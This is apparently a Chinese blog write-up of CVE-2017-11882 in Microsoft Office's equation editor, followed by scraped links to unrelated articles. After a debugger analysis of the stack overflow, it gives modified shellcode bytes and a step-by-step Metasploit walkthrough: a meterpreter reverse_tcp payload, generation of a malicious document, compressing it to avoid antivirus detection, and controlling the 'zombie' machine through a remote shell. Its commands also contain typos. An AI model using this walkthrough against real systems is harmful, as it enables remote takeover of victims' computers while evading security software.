CVE-2017-11882漏洞分析

操作系统:Windows7 32/64位 专业版、Linux

软件:office 2003 sp3

工具:OD、IDA、Python模块、msfconsole

1漏洞分析:

获取POC:

https://github.com/embedi/CVE-2017-11882 下载即可

打开例程,发现文档打开了计算器,应该是ShellCode。

查找漏洞点:

打开Microsoft Word 2003,快捷键Alt+i+o(插入、对象)打开Microsoft 公式 3.0,使用OD附加(附加后,线程,全部恢复,运行)快捷键 Alt+f+a,打开poc例程。(OD所有关于异常的选项去掉,插件-StrongOD-Options-Skip Some Exceptions去掉,不然无法断下)。

通过栈向上查找最近的函数地址

下断点重新附加

重新加载再次进行附加

再次进行附加发现程序在运行到WinExec时已经破坏了栈,对栈进行向上回述

在此函数处下断点,再次进行附加程序运行观察栈已经破坏则在反汇编窗口在此函数的头部下断点,重新附加观察

此时栈是完整的,可以断定栈的破坏点在此时程序流程点的后面进行单步跟踪(F8)观察栈的变化找出溢出点。

通过Alt+e查找溢出模块,载入IDA进行静态分析

通过溢出点在IDA快捷键 g地址跳转F5转C代码查看分析

分析poc的ShellCode:

在OD中查看ShellCode信息

通过010editor进行分析:

2漏洞利用:

改写ShellCode运行时弹出百度网页。

关于ShellCode的改写:

在OD中的Ctrl+e进行二进制编写,注意ShellCode大小,0x30预留4字节的返回地址。

机器码:

636D642E657865202F63206578706C6F7265722E65786520687474703A2F2F62616964752E636F6D266F6D73120C4300

使用 msfconsole进行远程控制的利用

相关poc获取:https://github.com/embedi/CVE-2017-11882

准备工作:

1. 在Linux虚拟机上运行 msfconsole

2. 使用apt update;

apt intsall metasploit-framework

3. 将cve-2017-11882.rb(漏洞模块,负责与样本通信)

在终端输入cp指令:

绝对路径拷贝:

相对路径拷贝:cd到文件所在目录

cp CVE-2017-11882.rb /usr/share/metasploitframework/modules/exploits/windows/fileformat

拷贝到相关文件夹

4. 将python脚本 CVE-2017-11882.py拷贝到桌面

开始攻击:

使用Kali Metasploit准备后门,监听程序

1. 进入metasploit-framework

命令:msfconsole 启动命令

2. Search cve-2017-11882

3. 使用模块:use exploit/windows/fileformat/cve-2017-11882

4. 设置漏洞利用信息,包括payloar类型,IP(Linux使用ifconfig查看IP,Win使用ipconfig查看IP)

set payload windows/meterpteter/reverse_tcp

show options(显示必要设置的选项,查看有无漏项)

5. 开始攻击

exploit

6. 使用CVE-2017-11882.py脚本生成样本

7. 压缩文件不然可能会被查杀

拷贝到win7 64位 专业版 使用office3 sp3打开

8. 等待肉机链接

在win7打开文件显示的内容

9. 链接之后使用sessions查看链接信息

10. 使用sessions 1 进入sessions,开始后门操作

连接成功

11. 命令:shell进入shell

出现乱码,使用 chcp 65001 即可

此时即可使用windows shell命令控制肉机

退出shell

截屏要退出来才可以截屏

截屏图片

一些其他命令

show sessions:显示会话

sessions x:进入会话

background:会话返回

back:退出模块

在msf下 exit:退出

3总结:

1. 此漏洞是使用系统的WinExec函数开启线程的

2. 漏洞的产生是因为内存拷贝时空间大小设计时没有考虑到位产生的栈溢出淹没了原返回地址

3. 因为程序间隔较近,此漏洞的shellcode空间只用0x30大小但对于使用系统WinExec创建线程来讲已经够用

4. 此漏洞是2000年就存在的陈年漏洞但危害很大,甚至可以用来远程控制电脑。

3 CVE-2017-11882漏洞分析的更多相关文章

  1. 漏洞分析:CVE 2021-3156

    漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...

  2. CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用

    作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...

  3. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  4. FFmpeg任意文件读取漏洞分析

    这次的漏洞实际上与之前曝出的一个 CVE 非常之类似,可以说是旧瓶装新酒,老树开新花. 之前漏洞的一篇分析文章: SSRF 和本地文件泄露(CVE-2016-1897/8)http://static. ...

  5. Intel CPU 漏洞分析

    Intel CPU漏洞分析报告 预备知识 存储分级 由于计算机存储分级的特性(第一级:寄存器,第二级:高速缓存,第三级:内存,第四级:磁盘),每一级之间的访问速度差距高达数量级.所以处理器会将用到的数 ...

  6. Elasticsearch 核心插件Kibana 本地文件包含漏洞分析(CVE-2018-17246)

    不久前Elasticsearch发布了最新安全公告, Elasticsearch Kibana 6.4.3之前版本和5.6.13之前版本中的Console插件存在严重的本地文件包含漏洞可导致拒绝服务攻 ...

  7. exim CVE-2017-16943 uaf漏洞分析

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这是最近爆出来的 exim 的一个 uaf 漏洞,可以进行远程代码 ...

  8. ThinkCMF X2.2.2多处SQL注入漏洞分析

       1.     漏洞描述 ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,其中X系列基于ThinkPHP 3.2.3开发,最后更新到2.2.2版本.最近刚好在渗透测试 ...

  9. 看个AV也中招之cve-2010-2553漏洞分析

    试想:某一天,你的基友给你了一个视频文件,号称是陈老师拍的苍老师的老师题材的最新电影.avi,你满心欢喜,在确定文件格式确实为avi格式后,愉快的脱下裤子准备欣赏,打开后却发现什么也没有,而随后你的基 ...

  10. CVE-2010-3971 CSS内存破坏漏洞分析

    看了仙果版主的议题演讲,其中提到cve-2010-3971是一个浏览器漏洞利用中的里程碑.于是找来POC,尝试分析一下. 1.漏洞重现 XP SP3+ie6.0环境 poc如下: poc.htm &l ...

随机推荐

  1. sed-grep命令

    sed -i '$a IPADDR=192.168.1.199' /etc/sysconfig/ifcfg-eth0work-scripts/ifcfg-eth0 #追加ip地址. sed -i '$ ...

  2. Django之创建项目、目录层级、基本操作

    创建项目 在合适的位置创建一个目录 打开cmd窗口,进入到创建的目录内 输入django-admin startproject project 目录层级 manage.py 是一个命令行工具,可以使我 ...

  3. DLinNLP

    2015蒙特利尔深度学习暑期学校之自然语言处理篇 用户1737318 8月3日至8月12日在蒙特利尔举办的深度学习署期学校中,来自不同领域的深度学习顶尖学者 (Yoshua Bengio, Leon ...

  4. 洛谷 U86564 排队形

    洛谷 U86564 排队形 题目传送门 题目背景 \(JDFZ2019\)秋季运动会开始辣!为了使强大的高一 · \(6\)班有一个更好的精神面貌,班主任\(T\)老师和体委\(LY\),\(LYB\ ...

  5. Debian 9 部分快捷键失效问题

    教程 具体修复过程: 安装gnome-screensaver包,重启恢复正常.

  6. <matrix> 73 329

    73. Set Matrix Zeroes - 先扫描第一行第一列,如果有0,则将各自的flag设置为true- 然后扫描除去第一行第一列的整个数组,如果有0,则将对应的第一行和第一列的数字赋0- 再 ...

  7. 关于ProxmoxVE

    1) PVE简介 PVE是Proxmox Virtual Environment(Proxmox虚拟化环境,也通常简称为Proxmox VE)的简称,它是基于QEMU/KVM和LXC的开源服务器虚拟化 ...

  8. 慕课网springboot博客系统开发(一)----spring initializr的使用 gradle构建项目

    spring initializr工具的地址:https://start.spring.io/:通过它可以很方便的创建springboot项目 这里我们选择使用gradle作为项目的构建工具,此spr ...

  9. 推荐一款移动端日历App吉日历

    推荐一款移动端日历App吉日历 一 应用描述 万年历.日历.农历.黄历.假期安排.天气预报.记事提醒便捷查看,一目了然! 二 功能介绍: 1.万年历:精美的日期展示,完整的节日日历随意查看,节假日.休 ...

  10. Visual Studio 调试系列8 查找导致程序崩溃的 DLL(使用模块窗口)

    系列目录     [已更新最新开发文章,点击查看详细] 如果应用程序在调用系统 DLL 或他人的代码时崩溃,则需要找出在崩溃发生时处于活动状态的 DLL. 如果在自己的程序之外的 DLL 中遇到崩溃, ...